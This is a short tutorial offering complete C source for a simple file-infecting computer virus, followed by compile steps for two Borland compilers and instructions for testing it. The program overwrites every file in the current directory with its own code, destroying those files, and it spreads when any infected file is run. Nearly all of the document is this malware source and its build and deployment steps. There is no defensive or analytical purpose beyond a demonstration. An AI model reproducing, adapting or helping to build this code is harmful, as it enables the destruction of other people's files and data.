How to Create a Computer Virus

 

 

 

 

 

 

 

 

 
This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus, it destroys other files from infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the
virus program.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
Compiling Method:
Using Borland TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile.
2. Press F9 to generate the EXE file (Do not press CTRL F9, this will infect all the files in
Cur directory including your compiler).
3. Note down the size of the generated EXE file in bytes (Check EXE File properties for
its size).
4. *Change the value of X in the source code with the noted down size
In the above Source Code X = 89088; Change it).
5. Once again follow the Step 1 & Step 2.
Now the generated EXE File is ready to infect.
USING BORLAND C++ 5.5 (32-BIT):
1. Compile once, note down the generated EXE file length in bytes.
2. Change the value of X in source code to this length in bytes.
3. Recompile it, the new EXE file is ready to be infected.
HOW TO TEST:
1. Open the new empty folder.
2. Put some EXE files (By searching for *. EXE in search and pasting in the new folder).
3. Run the virus EXE file, there you will see all the files in the current directory get
infected.